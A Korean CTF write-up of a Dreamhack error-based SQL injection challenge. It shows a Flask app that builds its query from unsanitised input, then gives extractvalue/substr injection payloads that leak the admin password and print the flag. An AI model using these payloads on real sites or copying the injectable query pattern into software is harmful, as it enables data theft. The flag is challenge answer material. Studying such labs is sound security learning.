Webhacking-Write-Up/Dreamhack
[Dreamhack] error based sql injection
SlowTurtle_
2023. 1. 11. 06:25
728x90
[Dreamhack] error based sql injection
코드를 보자.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
index부분을 보면 이용자로부터 uid를 입력받고 if절로 들어가 입력받은 uid를 execute함수로 결과가 boolean타입으로 나타난다. 또한 별다른 검사 없이 랜더링된다.
admin' 입력했을 때 에러메세지가 발생했다.
extractvalue함수를 사용해보겠다. 우선 extractvalue함수는 첫 번째 인자로 전달된 XML데이터에서 두 번째 인자인 XPATH식을 통해 데이터를 추출하는 함수이다. 우린 XPATH syntax error를 유도해 admin의 upw를 받을 것이다.
admin' union SELECT extractvalue(1,(select upw FROM user WHERE uid="admin")); -- -
위와 같이 작성하여 보냈다.
엥 flag가 나오다 퇴근했다? 알아보니 xml 내장함수는 에러가 출력되는 길이가 32길이로 제한이 존재한다고 한다. 따라서 substr(),substring()과 같은 함수로 여러번 분할해서 출력해야한다. 나는 substr()함수를 이용했다.
admin' union SELECT extractvalue(1,(select substr(upw,28) FROM user WHERE uid="admin")); -- -
substr(시작위치,출력할 길이)이다. 위에서 flag값만 약 29글자정도 줬길래 28로부터 출력받도록 작성하여 제출했다.
나머지 찾았다. 앞에 DH를 포함하여 합치면!
DH{c3968c78840750168774ad951fc98bf788563c4d}
flag를 획득했다!
++ 2번 문제
너무 쉽게 끝나서 substring도 해봤는데 substr()랑 사용법은 비슷했다. substring(시작,끝)
admin' union SELECT extractvalue(1,(select substring(upw,28) FROM user WHERE uid="admin"));#
728x90